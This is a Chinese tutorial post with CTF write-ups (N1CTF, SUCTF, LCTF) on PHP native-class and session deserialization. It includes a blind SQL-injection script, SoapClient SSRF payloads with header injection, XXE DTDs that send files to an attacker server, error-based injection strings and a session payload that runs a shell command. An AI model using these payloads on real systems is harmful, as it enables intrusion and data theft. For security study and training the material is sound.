前言

本篇将会将会填一填上一篇的坑,补充一些原生类的例题帮助师傅们加深理解,除此之外本篇还会代入session反序列化,以及一些session反序列化与原生类的结合利用

文章作者Hardlic,本文属i春秋原创奖励计划,未经许可禁止转载。原文地址:https://bbs.ichunqiu.com/thread-63353-1-1.html

例题一(N1CTF-easy_harder_php)

考点: SoapClient
开门一个login页面,试了两下发现没啥用,看到上面有个action
1683107700344-7167bb41-419e-4fb0-9d62-67fc9222db19.png
尝试目录穿越,成功
1683107794170-29544474-c9ac-4884-88d3-d7de85b95b1f.png
emm...做完了就?算了我们来找找正常点的做法,首先dirsearch开扫,扫到个config.php~
1683178848161-81d2efc4-8169-4cd8-b421-2bc4368d7b1d.png
得到源码,开始代码审计,一共拿到了三个页面的源码
1683111524598-27223957-2e6f-4f71-8528-ea8c9ee49f38.png

config.php~

<?php
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");

session_start();
class Db
{
    private  $servername = "localhost";
    private  $username = "Nu1L";
    private  $password = "Nu1Lpassword233334";
    private  $dbname = "nu1lctf";
    private  $conn;

    function __construct()
    {
        $this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
    }

    function __destruct()
    {
        $this->conn->close();
    }

    private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    public function select($columns,$table,$where) {

        $column = $this->get_column($columns);

        $sql = 'select '.$column.' from '.$table.' where '.$where.';';
        $result = $this->conn->query($sql);

        return $result;

    }

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

    public function delete($table,$where){

        $sql =  'delete from '.$table.' where '.$where;
        $result = $this->conn->query($sql);

        return $result;
    }

    public function update_single($table,$where,$column,$value){

        $sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
        $result = $this->conn->query($sql);

        return $result;
    }




}

class Mood{

    public $mood, $ip, $date;

    public function __construct($mood, $ip) {
        $this->mood = $mood;
        $this->ip  = $ip;
        $this->date = time();

    }

    public function getcountry()
    {
        $ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
        $ip = json_decode($ip,true);
        return $ip['data']['country'];
    }

    public function getsubtime()
    {
        $now_date = time();
        $sub_date = (int)$now_date - (int)$this->date;
        $days = (int)($sub_date/86400);
        $hours = (int)($sub_date%86400/3600);
        $minutes = (int)($sub_date%86400%3600/60);
        $res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
        return $res;
    }

    
}

function get_ip(){
    return $_SERVER['REMOTE_ADDR'];
}

function upload($file){
    $file_size  = $file['size'];
    if($file_size>2*1024*1024) {
        echo "pic is too big!";
        return false;
    }
    $file_type = $file['type'];
    if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
        echo "file type invalid";
        return false;
    }
    if(is_uploaded_file($file['tmp_name'])) {
        $uploaded_file = $file['tmp_name'];
        $user_path =  "/app/adminpic";
        if (!file_exists($user_path)) {
            mkdir($user_path);
        }
        $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
        $file_true_name = str_replace('/','',$file_true_name);
        $file_true_name = str_replace('\\','',$file_true_name);
        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
        $move_to_file = $user_path."/".$file_true_name;
        if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
        else
            return false;
    }
    else
        return false;
}
function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
    }
}
function rand_s($length = 8)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
    $password = '';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

index.php~

<?php

require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');

user.php~

<?php

require_once 'config.php';

class Customer{
    public $username, $userid, $is_admin, $allow_diff_ip;

    public function __construct()
    {
        $this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
        $this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
        $this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
        $this->get_allow_diff_ip();
    }

    public function check_login()
    {
        return isset($_SESSION['userid']);
    }

    public function check_username($username)
    {
        if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
            return false;
        else
            return true;
    }

    private function is_exists($username)
    {
        $db = new Db();
        @$ret = $db->select('username','ctf_users',"username='$username'");
        if($ret->fetch_row())
            return true;
        else
            return false;
    }

    public function get_allow_diff_ip()
    {
        if(!$this->check_login()) return 0;
        $db = new Db();
        @$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
        if($ret) {

            $user = $ret->fetch_row();
            if($user)
            {
                $this->allow_diff_ip = (int)$user[0];
                return 1;
            }
            else
                return 0;

        }
    }

    function login()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code erroar");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);
            if(!$this->check_username($username))
                die('Invalid user name');
            $db = new Db();
            @$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");

            if($ret)
            {

                $user = $ret->fetch_row();
                if($user) {
                    if ($user[4] == '0' && $user[2] !== get_ip())
                        die("You can only login at the usual address");
                    if ($user[3] == '1')
                        $_SESSION['is_admin'] = 1;
                    else
                        $_SESSION['is_admin'] = 0;
                    $_SESSION['userid'] = $user[0];
                    $_SESSION['username'] = $user[1];
                    $this->username = $user[1];
                    $this->userid = $user[0];
                    return true;
                }
                else
                    return false;

            }
            else
            {
                return false;
            }

        }
        else
            return false;

    }

    function register()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code error");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);

            if(!$this->check_username($username))
                die('Invalid user name');
            if(!$this->is_exists($username)) {

                $db = new Db();

                @$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
                if($ret)
                    return true;
                else
                    return false;

            }

            else {
                die("The username is not unique");
            }
        }
        else
        {
            return false;
        }
    }

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;


        }

    }

    function showmess()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            //id,sig,mood,ip,country,subtime
            $db = new Db();
            @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
            if($ret) {
                $data = array();
                while ($row = $ret->fetch_row()) {
                    $sig = $row[1];
                    $mood = unserialize($row[2]);
                    $country = $mood->getcountry();
                    $ip = $mood->ip;
                    $subtime = $mood->getsubtime();
                    $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
                    array_push($data, $allmess);
                }
                $data = json_encode(array('code'=>0,'data'=>$data));
                return $data;
            }
            else
                return false;

        }
        else
        {
            $filenames = scandir('adminpic/');
            array_splice($filenames, 0, 2);
            return json_encode(array('code'=>1,'data'=>$filenames));

        }
    }

    function allow_diff_ip_option()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['adio'])){
                $db = new Db();
                @$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
            echo 'admin can\'t change this option';
            return false;
    }

    function deletemess()
    {
        if(!$this->check_login()) return false;
        if(isset($_GET['delid'])) {
            $delid = (int)$_GET['delid'];
            $db = new Db;
            @$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
            if($ret)
                return true;
            else
                return false;
        }
        else
            return false;
    }

审计

通览一下user.php,存在一个Customer类,大概看一眼存在一个登录函数一个注册函数,登录后会有一个文件上传的功能,那我们现在就想办法去登录,在public公共函数中,有一个插入数据库的insert看起来没有什么过滤,且在这个函数中存在一个可控变量signature
1683288081622-8ce0ceef-c680-46e5-b438-4e312865ac5b.png
点开后发现这个函数的三个参数分别是字段名 表名 和值,然后我们所传的值先经过get_column处理,这个函数会连接前后的字符串并使用,间隔,然后经过了正则表达式/([^,]+)/,虽然你可能不是很明白这个正则的真正作用,让我来举个例子,当经过的get_column之后**$values** 参数的值大概率类似 **value1, value2, value3`,那么经过 preg_replace 函数处理后,它将被转换为 'value1', 'value2', 'value3',最终包裹进insert sql**语句中
1683288527362-2f0423e5-b910-4459-b6eb-83797006d623.png
1683287410606-db01630e-eab6-4800-8124-6271ceaec398.png
写了一下师傅们的脚本:

# encoding=utf-8


import  requests
import string
import time

url = ''
cookies = {"PHPSESSID": ""}
data = {
    "signature": "",
    "mood": 0
}
table = string.digits + string.lowercase + string.uppercase


def post():
        password = ""
        for i in range(1, 33):
                for j in table:
                    signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))                #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
                    data["signature"] = signature
            #print(data)
                    try:
                            re = requests.post(url, cookies = cookies, data = data, timeout = 3)
            #print(re.text)
                    except:
                        password += j
                        print(password)
                        break
        print(password)

def main():
    post()

if __name__ == '__main__':
    main()

注入得到MD5 解密得到admin的密码,但是由于在数据库中限制的ip是127.0.0.1所以我们还是无法登录,这时候就得想办法伪造ip,通览全文没有看见有什么可以伪造ip的地方,唯有一反序列化,恰巧的是,这个反序列化的类可控,为什么可控呢,我们看以下代码
1683293962398-f7967b65-1350-4777-9181-98c44bd25369.png
这里看见他反序列化了$row[2],在这里看起来是mood字段,但是我们别忘了一件事在刚刚的publish函数中,我们可以在signature处造成sql注入,
1683647869493-1d61d05b-c332-4f8a-9089-ac3b4df5399d.png

也就是说我们可以在signature后面插入另外一个恶意字段,并让这个字段的恶意数据被解析从而导致反序列化,那么现在要考虑的是通过那个反序列化呢,这里并没有pop链,所以很自然想到原生类,又因为这里限制的ip,所以想到打SoapClient链子,但是要做到访问这个public的方法我们首先得先注册登录一个普通用户,访问register路由
1683651445536-07c9d988-f61d-43c7-bd9a-b29bcbb088e8.png
得爆破这个MD5后五位等于95698作为验证码输入,使用的是自己魔改的go多线程爆破脚本,

package main

import (
    "crypto/md5"
    "encoding/hex"
    "fmt"
    "runtime"
    "sync"
    "time"
)

var (
    chars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")
    wg    sync.WaitGroup
)

func sha(s []byte) {
    target := "09175"
    for _, ch1 := range s {
        for _, ch2 := range chars {
            for _, ch3 := range chars {
                        a := []byte{ch1, ch2, ch3, }
                        hash := md5.Sum(a)
                        hashStr := hex.EncodeToString(hash[:])
                        if hashStr[:5] == target {
                            fmt.Println(string(a))
                }
            }
        }
    }
    wg.Done()
}

func main() {
    threads := runtime.NumCPU() // 获取cpu逻辑核心数(包括超线程)
    start := time.Now()

    /* len(chars) = sum * sthreads + (sum+1) * (threads-sthreads) */
    snum := len(chars) / threads
    sthreads := threads*(1+snum) - len(chars)

    wg.Add(threads)
    for i := 0; i < threads; i++ {
        if i < sthreads {
            go sha(chars[snum*i : snum*(i+1)])
        } else {
            base := snum * sthreads
            go sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)])
        }
    }
    wg.Wait()
    end := time.Since(start)
    fmt.Println(end)
}

但是没有注册成功,起初我怀疑是我脚本的问题,但是在翻了多个wp的情况下,终于发现一个最近师傅的wp,这个code处有问题无法注册登录,别无他法,复现到这里的登录的地方无法进入了,这里登录后,正如前面所说,打soap的链就可以顺利登录了,再往后的文件上传,时间戳爆破就不在这里提及了,如果对这道题感兴趣的师傅可以自己打一下
https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php
1683200911358-5dcab654-cf03-40f5-8b15-a4039994dfd8.png

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=自己添加'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

例题二(SUCTF2018-Homework)

考点:Simplexml
xxe数据外带
又是熟悉的登录 ch简单扫扫,没有什么线索,先注册个账号看看

1683200305173-73e9bb8c-7607-41a6-a845-d1f37beef20b.png
随意注册登录进去是一个作业平台 然后有一串关于calc的源码,点击calc
1683200630974-0a22dae5-4a86-46dc-a4b5-d8819815205f.png
按照意思是会调用这个calc类的对象中的calc函数进行四则运算,这里可以看见cacl有三个参数,在这里尝试通过调用原生类,因为这里具有三个参数,自然而然想到了SimpleXMLElement 类
1683200911358-5dcab654-cf03-40f5-8b15-a4039994dfd8.png
这里简单回顾一下SimpleXMLElement 类,主要我们需要设置他的第三个参数为true,然后给第一个data传入一个远程xml的路径就可以远程解析xml

module=SimpleXMLElement&args[]=http://xxx.xxx.xxx.xxx/shell.xml&args[]=2&args[]=true

他介绍详见php反序列化由浅入深(二)的末尾部分https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=63353&page=1&extra=#pid590341,在这题首先我们需要在vps上设置两个xml如下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "https://xxx.xxx.xxx.xxx/read.xml">
%int;
%all;
%send;
]>
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx/?%payl;'>">
  

在这里得注意千万不能把http打成https,否则就接收不到了,依次类推分别带出index.php内的源码

PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPlBIUCBIb21ld29yayBQbGF0Zm9ybTwvdGl0bGU+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8c2NyaXB0IHR5cGU9ImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCI+IGFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCBmdW5jdGlvbigpIHsgc2V0VGltZW91dChoaWRlVVJMYmFyLCAwKTsgfSwgZmFsc2UpOyBmdW5jdGlvbiBoaWRlVVJMYmFyKCl7IHdpbmRvdy5zY3JvbGxUbygwLDEpOyB9IDwvc2NyaXB0Pg0KPGxpbmsgaHJlZj0iY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIj4NCjxsaW5rIGhyZWY9ImNzcy9zbm93LmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9ImFsbCIgLz4NCjxsaW5rIGhyZWY9ImNzcy9zdHlsZS5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiIC8+DQo8bGluayB0eXBlPSJ0ZXh0L2NzcyIgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJpbWFnZXMvU3R5bGVzL1N5bnRheEhpZ2hsaWdodGVyLmNzcyI+PC9saW5rPg0KPC9oZWFkPg0KPGJvZHk+DQo8IS0tIC9ob21lL3d3d3Jvb3QvZGVmYXVsdC0tPg0KPGRpdiBjbGFzcz0ic25vdy1jb250YWluZXIiPg0KCQkJICA8ZGl2IGNsYXNzPSJzbm93IGZvcmVncm91bmQiPjwvZGl2Pg0KCQkJICA8ZGl2IGNsYXNzPSJzbm93IGZvcmVncm91bmQgbGF5ZXJlZCI+PC9kaXY+DQoJCQkgIDxkaXYgY2xhc3M9InNub3cgbWlkZGxlZ3JvdW5kIj48L2Rpdj4NCgkJCSAgPGRpdiBjbGFzcz0ic25vdyBtaWRkbGVncm91bmQgbGF5ZXJlZCI+PC9kaXY+DQoJCQkgIDxkaXYgY2xhc3M9InNub3cgYmFja2dyb3VuZCI+PC9kaXY+DQoJCQkgIDxkaXYgY2xhc3M9InNub3cgYmFja2dyb3VuZCBsYXllcmVkIj48L2Rpdj4NCgkJCTwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJ0b3AtYnV0dG9ucy1hZ2lsZWluZm8iPg0KPC9kaXY+DQo8aDE+UEhQIEhvbWV3b3JrIFBsYXRmb3JtPC9oMT4NCjxkaXYgY2xhc3M9Im1haW4tYWdpbGVpdHMiPg0KPD9waHANCglpbmNsdWRlKCJmdW5jdGlvbi5waHAiKTsNCglpbmNsdWRlKCJjb25maWcucGhwIik7DQoNCgkkdXNlcm5hbWU9d19hZGRzbGFzaGVzKCRfQ09PS0lFWyd1c2VyJ10pOw0KCSRjaGVja19jb2RlPSRfQ09PS0lFWydjb29raWUtY2hlY2snXTsNCgkkY2hlY2tfc3FsPSJzZWxlY3QgcGFzc3dvcmQgZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lPSciLiR1c2VybmFtZS4iJyI7DQoJJGNoZWNrX3N1bT1tZDUoJHVzZXJuYW1lLnNxbF9yZXN1bHQoJGNoZWNrX3NxbCwkbXlzcWwpWycwJ11bJzAnXSk7DQoJaWYoJGNoZWNrX3N1bSE9PSRjaGVja19jb2RlKXsNCgkJaGVhZGVyKCJMb2NhdGlvbjogbG9naW4ucGhwIik7DQoJfQ0KPz4NCgkJPHRleHRhcmVhIG5hbWU9ImNvZGUiIGNsYXNzPSJwaHAiIHJvd3M9IjIwIiBjb2xzPSI1NSIgZGlzYWJsZWQ9ImRpc2FibGVkIj4NCjw/cGhwIHJlYWRmaWxlKCIuL2NhbGMucGhwIik7Pz4NCgkJPC90ZXh0YXJlYT4NCgkJPGRpdiBjbGFzcz0idG9wLWJ1dHRvbnMtYWdpbGVpbmZvIj4NCgkJCTxhIGhyZWY9InNob3cucGhwP21vZHVsZT1jYWxjJmFyZ3NbXT0yJmFyZ3NbXT1hJmFyZ3NbXT0yIj5jYWxjPC9hPg0KCQkJPGEgaHJlZj0ic3VibWl0LnBocCIgY2xhc3M9ImFjdGl2ZSI+U3VibWl0IGhvbWV3b3JrPC9hPg0KCQk8L2Rpdj4NCjwvZGl2Pg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9ImpzL2pxdWVyeS0yLjEuNC5taW4uanMiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgY2xhc3M9ImphdmFzY3JpcHQiIHNyYz0iaW1hZ2VzL1NjcmlwdHMvc2hCcnVzaFBocC5qcyI+PC9zY3JpcHQ+DQoJPHNjcmlwdCBjbGFzcz0iamF2YXNjcmlwdCI+DQoJCWRwLlN5bnRheEhpZ2hsaWdodGVyLkhpZ2hsaWdodEFsbCgnY29kZScpOw0KCTwvc2NyaXB0PiANCjwvYm9keT4NCjwvaHRtbD4=
<!DOCTYPE html>
<html>
<head>
<title>PHP Homework Platform</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" media="all">
<link href="css/snow.css" rel="stylesheet" type="text/css" media="all" />
<link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
<link type="text/css" rel="stylesheet" href="images/Styles/SyntaxHighlighter.css"></link>
</head>
<body>
<!-- /home/wwwroot/default-->
<div class="snow-container">
              <div class="snow foreground"></div>
              <div class="snow foreground layered"></div>
              <div class="snow middleground"></div>
              <div class="snow middleground layered"></div>
              <div class="snow background"></div>
              <div class="snow background layered"></div>
            </div>

<div class="top-buttons-agileinfo">
</div>
<h1>PHP Homework Platform</h1>
<div class="main-agileits">
<?php
    include("function.php");
    include("config.php");

    $username=w_addslashes($_COOKIE['user']);
    $check_code=$_COOKIE['cookie-check'];
    $check_sql="select password from user where username='".$username."'";
    $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
    if($check_sum!==$check_code){
        header("Location: login.php");
    }
?>
        <textarea name="code" class="php" rows="20" cols="55" disabled="disabled">
<?php readfile("./calc.php");?>
        </textarea>
        <div class="top-buttons-agileinfo">
            <a href="show.php?module=calc&args[]=2&args[]=a&args[]=2">calc</a>
            <a href="submit.php" class="active">Submit homework</a>
        </div>
</div>
    <script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
    <script class="javascript" src="images/Scripts/shBrushPhp.js"></script>
    <script class="javascript">
        dp.SyntaxHighlighter.HighlightAll('code');
    </script> 
</body>
</html>
<?php
 
function sql_result($sql,$mysql){
    if($result=mysqli_query($mysql,$sql)){
        $result_array=mysqli_fetch_all($result);
        return $result_array;
    }else{
         echo mysqli_error($mysql);
         return "Failed";
    }
}
 
function upload_file($mysql){
    if($_FILES){
        if($_FILES['file']['size']>2*1024*1024){
            die("File is larger than 2M, forbidden upload");
        }
        if(is_uploaded_file($_FILES['file']['tmp_name'])){
            if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
                $filehash=md5(mt_rand());
                if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") 
                    die("Upload failed");
                $new_filename="./upload/".$filehash.".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }else{
                $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
                $new_filename="./upload/".$hash[0][0].".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }
        }else{
            die("Not upload file");
        }
    }
}
 
 
 
function w_addslashes($string){
    return addslashes(trim($string));
}
 
 
 
function do_api($module,$args){
    $class = new ReflectionClass($module);
    $a=$class->newInstanceArgs($args);
}
?>
<?php
    include("function.php");
    include("config.php");
    include("calc.php");
    if(isset($_GET['action'])&&$_GET['action']=="view"){
        if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
        if(!empty($_GET['filename'])){
            $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
            $file_name=$file_info['0']['2'];
            echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
            $new_sig=mt_rand();
            sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
            die("<br>new sig:".$new_sig);
        }else{
            die("Null filename");
        }
    }
 
    $username=w_addslashes($_COOKIE['user']);
    $check_code=$_COOKIE['cookie-check'];
    $check_sql="select password from user where username='".$username."'";
    $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
    if($check_sum!==$check_code){
        header("Location: login.php");
    }
 
    $module=$_GET['module'];
    $args=$_GET['args'];
    do_api($module,$args);
?>

带出了源码之后我们可以看见在这里只有一个文件上传功能点,在uploadfile上传处进行了转义,但是在取出的show.php中并未转义取出的数据sig,但是却需要本地才能访问show.php,所以这时候我们可以考虑二次注入+xxe来达到本地读取的效果,我们使用报错注入上传一个1.txt 2.txt

'||extractvalue(1,concat(0x7e,(select flag from flag),0x7e))||'
#hex编码之后
  0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C65637420666C61672066726F6D20666C6167292C3078376529297C7C27
#报错注入一般读取前一半和后一半,所以加上reverser然后再hex编码
'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'
0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C656374207265766572736528666C6167292066726F6D20666C6167292C3078376529297C7C27

    
    

1683723399964-01597c08-0a97-4acc-88e7-1fa10557e37b.png
1683724109866-024192f2-3bbc-4551-a012-1443b37cb1e0.png
然后修改前面的read.xml的payLoad,然后再次通过刚刚的原生类访问我们的shell.xml

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=1.txt">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx/?%payl;'>">
show.php?module=SimpleXMLElement&args[]=http://xxx.xxx.xxx.xxx/shell.xml&args[]=2&args[]=true

读取成功
1683723885311-ffdfe118-65cb-477a-8474-fa2033d3fd71.png
1683723932349-3d789d7d-9083-4ae7-a5c7-222a5c9fc281.png
这样就读取到了一半的flag,类似的另一半如下
1683724260893-45cf381c-8441-4ca8-be5b-a11102a32f07.png

php中的Session反序列化

当session_start()被调用或者php.ini中session.auto_start为1时,php内部调用会话管理器,当前访问用户Session被反序列化后存储至指定目录,默认为/tmp

php的三种序列化方式

php_binary:键名的长度对应的ascii字符+键名+经过serialize()函数序列处理的值
php:键名+竖线+经过serialize()函数序列处理的值
php_serialize:serializ()函数处理数组的方式

php.ini中间与session储存的相关配置

session.save_path:session的存储位置默认为/tmp
session.auto_start: 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler:定义用来序列化/反序列化的处理器名字,默认使用php

<?ini_set("session.serialize_handler", "php");  
#ini_set("session.serialize_handler", "php_serialize");
#ini_set("session.serialize_handler", "php_binary");//设置session存储类型为php类型
#ini_set("session.save_path", "/tmp");//设置session储存路径为
#ini_set("session.auto_start", 0);
?>

出现问题的代码

传入

$_session['ctf']=$_GET['ctf'];

传出

<?php
ini_set('session.serialize_handler','php')
session_starrt();
calss ctf{
var $a;
function _destruct(){
        system($this->a);
}
}?>

如果我们从
存储session的页面传入?ctf=|O:3:"ctf":1:{s:1:"a";s:4:"ls%20/";}然后再访问读取存放session的文件,便会触发漏洞 ,来看一道例题

例题--([LCTF]bestphp‘s revenge)

知识点:session反序列化+SoapClient
题目看起来很短,别误以为是一道简单的签到题,往往越难的题题目越短

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

还是常规的先扫一下目录什么的看看有没有什么提示,发现提示只有127.0.0.1才能获得flag而且session flag得对应上才可以获得,这里有一些回调函数,仔细观察这里我们可以通过变量覆盖设置session的handle属性,接着通过覆盖b参数,因为reset($_SESSION)之后,他的值始终是$_SESSION['name'],所以我们的b参数可控,而a参数中会传入一个可控的类,并执行welcome_to_the_lctf2018函数,这时候结合下面的127.0.0.1很自然的想到SoapClient链子
1683811559714-0ded9b2d-da75-4da1-88df-e241ceb67d0b.png
exp如下:
使用了某个佬的poc

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

1683826565098-cff28720-9808-499d-8105-901de34e9c8c.png
1683826633817-cb3df3e6-5504-477e-b7cf-e6e290d52746.png
通过携带这个新的PHPSESSION访问得到flag
1683826682504-4731fbf7-3169-41fd-8f3c-a2dd174f23b4.png

后记

